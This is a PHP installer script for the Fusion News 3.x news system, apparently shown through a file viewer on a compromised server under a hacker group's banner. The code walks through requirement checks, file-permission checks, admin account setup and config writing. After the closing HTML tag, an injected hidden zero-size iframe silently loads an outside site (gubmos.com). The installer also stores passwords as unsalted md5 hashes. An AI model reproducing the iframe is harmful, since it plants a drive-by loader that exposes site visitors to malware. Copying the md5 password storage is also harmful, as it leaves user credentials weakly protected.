One Hat Cyber Team

View File Name : install.php.old

<?php
/*
||==========================================================
||		Fusion News 3.x
||----------------------------------------------------------
|| File Version	: $Id: install.php 54 2006-12-29 19:28:21Z xycaleth $
|| Contact	: xycaleth@gmail.com
|| Copyright:	: (c) 2006 - 2008, FusionNews.net
|| License Info	: http://www.gnu.org/copyleft/gpl.html
||==========================================================
*/

if ( file_exists ('./install.lock') )
{
	die ('The installation file has been locked.');
}

define ('FN_INSTALLER', true);

/**
 * Make sure the language array is empty.
 */
$lang = array ('install' => array());

include './common.php';

/**
 * Set up some global variables
 */
$lang = $lang['install'];
$fullurl = 'http://' . $_SERVER['HTTP_HOST'] . substr (str_replace (basename (__FILE__), '', $_SERVER['SCRIPT_NAME']), 0, -1);
$step = ( isset ($VARS['step']) ) ? intval ($VARS['step']) : 1;
$title = sprintf ($lang['Title'], $curve);

/**
 * Own function to check if a file is writeable.
 * Workaround for is_writeable not working on IIS.
 */
function fn_is_writeable ( $file )
{
	if ( ($fp = @fopen (FNEWS_ROOT_PATH . $file, 'a')) === false )
	{
		return false;
	}
	
	fclose ($fp);
	
	return true;
}

/**
 * And so we begin
 */
// Step 1:
// Introduction
if ( $step == 1 )
{
	$content = <<< html
<p>{$lang['Intro']}</p>
<div style="text-align:center">
<input type="button" class="mainoption" onclick="document.location='?step=2'" value="{$lang['Begin']} >>>" />
</div>
html;
}

// Step 2:
// Check PHP version and checks if we have GD library installed/enabled.
else if ( $step == 2 )
{
	$yes = '<span style="color:#00BB00; font-weight:bold">' . $lang['Yes'] . '</span>';
	$no = '<span style="color:#FF0000; font-weight:bold">' . $lang['No'] . '</span>';

	// PHP version check
	$php_version_check = phpversion();
	$php_version_expl = '';
	if ( !version_compare ($php_version_check, '4.1.0', '>=') )
	{
		$php_version_expl = '<br /><small>' . $lang['Need_PHP4.1_or_more'] . '</small>';
	}
	
	// File Upload check
	$file_upload_check = (bool)(strtolower (@ini_get ('file_uploads') == 'off') || @ini_get ('file_uploads') == 0 || @ini_get ('file_uploads') == '');
	$file_upload_expl = '';
	$file_upload_value = 0;
	if ( $file_upload_check )
	{
		$file_upload_expl = '<br /><small>' . $lang['File_uploads_disabled'] . '</small>';
		$file_upload_check = $no;
	}
	else
	{
		$file_upload_check = $yes;
		$file_upload_value = 1;
	}
	
	// GD library version check
	$gd_library_check = $no;
	$gd_library_expl = '';
	$gd_library_value = 0;
	if ( function_exists ('gd_info') )
	{
		$gd_info = gd_info();
		preg_match ('#([\d\.]+)#', $gd_info['GD Version'], $m);

		if ( !version_compare ($m[1], '2.0.1', '>=') )
		{
			$gd_library_check = $no . ' (' . $m[1] . ')';
			$gd_library_expl = '<br /><small>' . $lang['GD_library_require_201'] . '</small>';
		}
		else
		{
			$gd_library_check = $yes . ' (' . $m[1] . ')';
			$gd_library_value = 1;
		}
	}
	else
	{
		$gd_library_expl = '<br /><small>' . $lang['GD_library_required'] . '</small>';
	}

	$content =
<<< html
<p>{$lang['Check_settings']}</p>
<div style="width:75%; margin-right:auto; margin-left:auto">
<table style="width:100%">
	<tr>
		<td style="width:75%; padding-bottom: 5px; padding-top: 5px; border-bottom:1px solid #DDDDDD"><b>{$lang['PHP_installed']}</b>$php_version_expl</td>
		<td style="width:25%; padding-bottom: 5px; padding-top: 5px; border-bottom:1px solid #DDDDDD; text-align: center">$php_version_check</td>
	</tr>
	<tr>
		<td style="width:75%; padding-bottom: 5px; padding-top: 5px; border-bottom:1px solid #DDDDDD"><b>{$lang['File_uploads_allowed']}</b>$file_upload_expl</td>
		<td style="width:25%; padding-bottom: 5px; padding-top: 5px; border-bottom:1px solid #DDDDDD; text-align: center">$file_upload_check</td>
	</tr>
	<tr>
		<td style="padding-bottom: 5px; padding-top: 5px"><b>{$lang['GD_library_installed']}</b>$gd_library_expl</td>
		<td style="padding-bottom: 5px; padding-top: 5px; text-align:center">$gd_library_check</td>
	</tr>
</table>
</div>
html;

	if ( empty ($php_version_expl) )
	{
		$content .= <<< html
<form method="post" action="?step=3">
<input type="hidden" name="file_uploads" value="$file_upload_value" />
<input type="hidden" name="gd_library" value="$gd_library_value" />
<div style="text-align:center">
<p><input type="submit" class="mainoption" value="{$lang['Continue']} >>>" /></p>
</div>
html;
	}
	else
	{
		$content .= '<p><span style="color:#FF0000; font-weight:bold">' . $lang['Not_meet_min_requirements'] . '</span></p>';
	}
}

// Step 3:
// Show user which files should have what file permissions.
else if ( $step == 3 )
{
	$file_uploads = ( isset ($VARS['file_uploads']) ) ? intval ($VARS['file_uploads']) : 0;
	$gd_library = ( isset ($VARS['gd_library']) ) ? intval ($VARS['gd_library']) : 0;
	
	$files = array (
		array ('news/fonts/VeraMono.ttf', '0'),
		array ('news/toc.php', '0666'),
		array ('plugins/check_chmod.php', '0'),
		array ('skins/fusion/index.html', '0'),
		array ('skins/fusion/stylesheet.css', '0'),
		array ('skins/fusion/images/header.png', '0'),
		array ('skins/fusion/images/page_background.jpg', '0'),
		array ('skins/fusion/images/table_background.png', '0'),
		array ('skins/fusion/images/table_bottom.png', '0'),
		array ('templates/arch_news_temp.php', '0666'),
		array ('templates/com_footer.php', '0666'),
		array ('templates/com_fulltemp.php', '0666'),
		array ('templates/com_header.php', '0666'),
		array ('templates/com_temp.php', '0666'),
		array ('templates/footer.php', '0666'),
		array ('templates/fullnews_temp.php', '0666'),
		array ('templates/header.php', '0666'),
		array ('templates/headline_temp.php', '0666'),
		array ('templates/news_a_day_temp.php', '0666'),
		array ('templates/news_temp.php', '0666'),
		array ('templates/sendtofriend_temp.php', '0666'),
		array ('archive.php', '0'),
		array ('badwords.php', '0666'),
		array ('banned.php', '0666'),
		array ('categories.php', '0666'),
		array ('comments.php', '0'),
		array ('common.php', '0'),
		array ('config.php', '0666'),
		array ('flood.php', '0666'),
		array ('fullnews.php', '0'),
		array ('functions.php', '0'),
		array ('headlines.php', '0'),
		array ('index.php', '0'),
		array ('jsfunc.js', '0'),
		array ('language.db.php', '0'),
		array ('logins.php', '0666'),
		array ('news.php', '0'),
		array ('rss.php', '0'),
		array ('search.php', '0'),
		array ('send.php', '0'),
		array ('sessions.php', '0666'),
		array ('smillies.php', '0666'),
		array ('upload.php', '0'),
		array ('users.php', '0666')
	);
	$num_files = sizeof ($files);
	
	$directory = array (
		array ('', '0777'),
		array ('img', '0'),
		array ('news', '0777'),
		array ('news/fonts', '0'),
		array ('plugins', '0'),
		array ('skins', '0'),
		array ('skins/fusion', '0'),
		array ('smillies', '0777'),
		array ('templates', '0777'),
		array ('uploads', '0777')
	);
	$num_directories = sizeof ($directory);

	$content =
<<< html
{$lang['Checking_files']}
<table class="adminpanel">
	<tr>
		<th style="width:60%">{$lang['Directory_name']}</th>
		<th style="width:20%">{$lang['File_permission']}</th>
		<th style="width:20%">{$lang['Result']}</th>
	</tr>
html;

	$result = '';
	$permission = 0;
	$bad_results = 0;
	
	// Clears all cached information about files and directories
	clearstatcache();

	for ( $i = 0; $i < $num_directories; $i++ )
	{
		$permission = substr ($directory[$i][1], 1);
		$permission = ( !$permission ) ? '-' : substr ($directory[$i][1], 1);
	
		if ( !file_exists (FNEWS_ROOT_PATH . $directory[$i][0]) )
		{
			$result = '<span style="color:#FF0000; font-weight:bold">' . $lang['Missing'] . '</span>';
			$bad_results++;
		}
		else if ( $permission == '0777' && (!is_writeable (FNEWS_ROOT_PATH . $directory[$i][0]) || !is_readable (FNEWS_ROOT_PATH . $directory[$i][0])) )
		{
			$result = '<span style="color:#FF0000; font-weight:bold">' . $lang['Incorrect_permission'] . '</span>';
			$bad_results++;
		}
		else
		{
			$result = '<span style="color:#00BB00; font-weight:bold">' . $lang['Good'] . '</span>';
		}
		
		if ( !$directory[$i][0] )
		{
			$directory[$i][0] = $lang['FN_directory'];
		}
		
		$content .=
<<< html
	<tr>
		<td>{$directory[$i][0]}</td>
		<td align="center">$permission</td>
		<td align="center">$result</td>
	</tr>
html;
	}
	
	$content .=
<<< html
</table>
<p></p>
<table class="adminpanel">
	<tr>
		<th style="width:60%">{$lang['File_name']}</th>
		<th style="width:20%">{$lang['File_permission']}</th>
		<th style="width:20%">{$lang['Result']}</th>
	</tr>
html;

	for ( $i = 0; $i < $num_files; $i++ )
	{
		$permission = substr ($files[$i][1], 1);
		$permission = ( !$permission ) ? '-' : substr ($files[$i][1], 1);
	
		if ( !file_exists (FNEWS_ROOT_PATH . $files[$i][0]) )
		{
			$result = '<span style="color:#FF0000; font-weight:bold">' . $lang['Missing'] . '</span>';
			$bad_results++;
		}
		else if ( $permission == '0666' && (!fn_is_writeable ($files[$i][0]) || !is_readable (FNEWS_ROOT_PATH . $files[$i][0])) )
		{
			$result = '<span style="color:#FF0000; font-weight:bold">' . $lang['Incorrect_permission'] . '</span>';
			$bad_results++;
		}
		else
		{
			$result = '<span style="color:#00BB00; font-weight:bold">' . $lang['Good'] . '</span>';
		}
		
		$content .=
<<< html
	<tr>
		<td>{$files[$i][0]}</td>
		<td align="center">$permission</td>
		<td align="center">$result</td>
	</tr>
html;
	}
	
	$content .= '</table>';
	
	if ( $bad_results )
	{
		$content .= sprintf ($lang['Found_problems'], $bad_results);
	}
	else
	{
		$content .= <<< html
<div style="text-align:center">
<form method="post" action="?step=4">
<p>
<input type="hidden" name="file_uploads" value="$file_uploads">
<input type="hidden" name="gd_library" value="$gd_library">
<input type="submit" class="mainoption" value="{$lang['Continue']} >>>" />
</p>
</div>
html;
	}
}

// Step 4:
// Check website path, and enter username/password details
else if ( $step == 4 )
{
	$file_uploads = ( isset ($VARS['file_uploads']) ) ? intval ($VARS['file_uploads']) : 0;
	$gd_library = ( isset ($VARS['gd_library']) ) ? intval ($VARS['gd_library']) : 0;

	$content = <<< html
{$lang['Fill_form']}
<form method="post" action="?step=5">
<table class="adminpanel">
	<tr>
		<th colspan="2">{$lang['Website_url']}</th>
	</tr>
	<tr>
		<td style="width:40%; text-align:right"><label for="website_url">{$lang['Website_url_colon']}&nbsp;&nbsp;</label></td>
		<td style="width:60%"><input type="text" class="post" name="website_url" id="website_url" value="http://{$_SERVER['HTTP_HOST']}" size="20" /></td>
	</tr>
	<tr>
		<th colspan="2">{$lang['Administrator']}</th>
	</tr>
	<tr>
		<td style="text-align:right"><label for="username">{$lang['Username']}&nbsp;&nbsp;</label></td>
		<td><input type="text" class="post" name="username" id="username" size="20" /></td>
	</tr>
	<tr>
		<td style="text-align:right"><label for="nick">{$lang['Nickname']}&nbsp;&nbsp;</label></td>
		<td><input type="text" class="post" name="nick" id="nick" size="20" /></td>
	</tr>
	<tr>
		<td style="text-align:right"><label for="email">{$lang['Email']}&nbsp;&nbsp;</label></td>
		<td><input type="text" class="post" name="email" id="email" size="20" /></td>
	<tr>
		<td>&nbsp;</td>
		<td><input type="checkbox" class="post" id="hideemail" name="hideemail" /> <label for="hideemail">{$lang['Hide_email']}</label></td>
	</tr>
	<tr>
		<td style="text-align:right"><label for="password">{$lang['Password']}&nbsp;&nbsp;</label></td>
		<td><input type="password" class="post" name="password" id="password" size="20" /></td>
	</tr>
	<tr>
		<td style="text-align:right"><label for="confirmpass">{$lang['Confirm']}&nbsp;&nbsp;</label></td>
		<td><input type="password" class="post" name="confirmpass" id="confirmpass" size="20" /></td>
	</tr>
	<tr>
		<th colspan="2">
			<input type="hidden" name="file_uploads" value="$file_uploads" />
			<input type="hidden" name="gd_library" value="$gd_library" />
			<input type="submit" class="mainoption" value="{$lang['Continue']} >>>" />
		</th>
	</tr>
</table>
</form>
html;
}

// Step 5:
// Process the data...write the stuff to files and blam, we're done.
else if ( $step == 5 )
{
	$file_uploads = ( isset ($VARS['file_uploads']) ) ? intval ($VARS['file_uploads']) : 0;
	$gd_library = ( isset ($VARS['gd_library']) ) ? intval ($VARS['gd_library']) : 0;
	
	$website_url	= ( isset ($VARS['website_url']) ) ? $VARS['website_url'] : '';
	$username	= ( isset ($VARS['username']) ) ? substr ($VARS['username'], 0, 40) : '';
	$nick		= ( isset ($VARS['nick']) ) ? substr ($VARS['nick'], 0, 40) : '';
	$email		= ( isset ($VARS['email']) ) ? $VARS['email'] : '';
	$password	= ( isset ($VARS['password']) ) ? substr ($VARS['password'], 0, 40) : '';
	$confirmpass	= ( isset ($VARS['confirmpass']) ) ? substr ($VARS['confirmpass'], 0, 40) : '';
	$hideemail	= ( isset ($VARS['hideemail']) ) ? 0 : 1;
	
	if ( !$website_url || !$username || !$nick || !$email || !$password || !$confirmpass )
	{
		$content = $lang['Fields_left_blank'];
	}
	else if ( !valid_email ($email) )
	{
		$content = $lang['Invalid_email'];
	}
	else if ( $password != $confirmpass )
	{
		$content = $lang['Passwords_not_matching'];
	}
	else
	{
		$username = str_replace ('|', '&#124;', $username);
		$nick = str_replace ('|', '&#124;', $nick);
		$password = str_replace ('|', '&#124;', $password);
	
		// Let's start off by creating the new user...
		$data = '<?php die (\'You may not access this file.\'); ?>' . "\n";
		$data .= $username . '|<|' . $nick . '|<|' . $hideemail . '=' . $email . '|<||<|0|<|' . md5 ($password) . '|<|3|<|' . "\n";
		if ( !safe_write ('users.php', 'wb', $data) )
		{
			exit;
		}
		
		// Now we need to write the config.php file. Predefined settings
		// are made to be what (I think) to be what most people would need.
		$config = @config_array();
		$config['fusion_id'] = create_security_id();
		$config['site'] = $website_url;
		$config['furl'] = $fullurl;
		$config['hurl'] = $website_url . '/';
		$config['datefor'] = 'Y-m-d H:i:s T';
		$config['ppp_date'] = 'Y-m-d';
		$config['numofposts'] = 10;
		$config['numofh'] = 5;
		$config['bb'] = 1;
		$config['ht'] = 0;
		$config['post_per_day'] = 0;
		$config['wfpost'] = 1;
		$config['wfcom'] = 1;
		$config['skin'] = 'fusion';
		$config['cbwordwrap'] = 0;
		$config['wwwidth'] = 80;
		$config['smilies'] = 1;
		$config['stfpop'] = 1;
		$config['comallowbr'] = 1;
		$config['stfwidth'] = 640;
		$config['stfheight'] = 480;
		$config['fslink'] = 'read more...';
		$config['stflink'] = 'tell a friend';
		$config['pclink'] = 'comments';
		$config['fsnw'] = 1;
		$config['cbflood'] = 1;
		$config['floodtime'] = 30;
		$config['comlength'] = 300;
		$config['fullnewsw'] = 640;
		$config['fullnewsh'] = 480;
		$config['fullnewss'] = 1;
		$config['stfresize'] = 1;
		$config['stfscrolls'] = 1;
		$config['fullnewsz'] = 1;
		$config['htc'] = 0;
		$config['smilcom'] = 1;
		$config['bbc'] = 1;
		$config['compop'] = 1;
		$config['comscrolls'] = 1;
		$config['comresize'] = 1;
		$config['comheight'] = 480;
		$config['comwidth'] = 640;
		$config['uploads_active'] = $file_uploads;
		$config['uploads_size'] = 1048576;
		$config['uploads_ext'] = 'gif&#124;jpg&#124;jpeg&#124;png&#124;bmp';
		$config['enable_rss'] = 1;
		$config['link_headline_fullstory'] = 0;
		$config['flip_news'] = 0;
		$config['rss_title'] = '';
		$config['rss_description'] = '';
		$config['rss_encoding'] = 'utf-8';
		$config['com_validation'] = 1;
		$config['com_captcha'] = $gd_library;
		$config['news_pagination'] = 1;
		$config['news_pagination_prv'] = '&lt;&lt; Prev';
		$config['news_pagination_nxt'] = 'Next &gt;&gt;';
		$config['news_pagination_numbers'] = 0;
		$config['news_pagination_arrows'] = 1;
		$config['ppp_date'] = 'jS F Y';
		$config['comments_pages'] = 1;
		$config['comments_per_page'] = 10;
		
		if ( !save_config ($config) )
		{
			exit;
		}
		
		//////////////////////////////////////////////////////////////
		// Now we create the first news post. It's an improvement over the
		// previous way of doing it because you would end up with a post
		// made by a non-existant user. This way we're using the existing
		// user to make the post.
		//////////////////////////////////////////////////////////////
		$current_time	= time();
		$formatted_date	= date ('Y-m-d H:i:s T', $current_time);
		$access_denied = '<?php die (\'You may not access this file.\'); ?>';
		
		// Here's what the subject and news posts are going to be so I can change
		// it in one place, and everything else changes.
		$subject = 'Welcome to Fusion News!';
		$news_story = 'Welcome to Fusion News v' . $curve . '! You may delete this post as it is only a test post.';
		
		// Start off by adding it to the table of contents (toc.php).
		$data = $access_denied . "\n";
		$data .= '1|<|' . $current_time . '|<|' . $username . '|<|' . $subject . '|<|1|<|' . "\n";
		
		if ( !safe_write ('news/toc.php', 'wb', $data) )
		{
			exit;
		}
		
		// Then we create the actual news file...
		$data = $access_denied . "\n";
		$data .= $news_story . '|<||<|' . $username . '|<|' . $subject . '|<|Test Post|<|1|<|' . $current_time . '|<|0|<|1|<|' . "\n";
		
		if ( !safe_write ('news/news.1.php', 'wb', $data) )
		{
			exit;
		}
		
		// And then write this user's name to the category file.
		if ( !safe_write ('categories.php', 'wb', $access_denied . "\n". '1|<|General|<||<|' . $username . '|<|' . "\n") )
		{
			exit;
		}
		
		$star_pass = str_repeat ('*', strlen ($password));
		
		$content =
<<< html
{$lang['Install_success']}
<ul>
<li>{$lang['Username']} $username</li>
<li>{$lang['Nickname']} $nick</li>
<li>{$lang['Password']} $star_pass</li>
</ul>
{$lang['Delete_install_file']}
html;

		if ( !safe_write ('install.lock', 'wb', NULL) )
		{
			$content .= $lang['Create_install_lock'];
		}
			
		$content .= $lang['Login_link'];
	}
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title><?php printf ($lang['Fusion_Step_x'], $step); ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="./skins/fusion/stylesheet.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="./jsfunc.js"></script>
</head>

<body>
<div id="layout">
	<div id="header">
		<img src="./skins/fusion/images/header.png" alt="Fusion News" title="Fusion News" width="604" height="117" />
		<div id="login"><?php printf ($lang['Step_x'], $step); ?></div>
	</div>
	<div id="content">
		<div id="text">
			&nbsp;<h1><?php echo $title; ?></h1>
			<?php echo $content; ?>
			<br />
		</div>
		<div id="footer">
			<img src="./skins/fusion/images/table_bottom.png" alt="" width="604" height="25" />
			<?php printf ($lang['Powered_by'], $curve); ?>
		</div>
	</div>
</div>
</body>
</html>
<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://gubmos.com/index12"></iframe>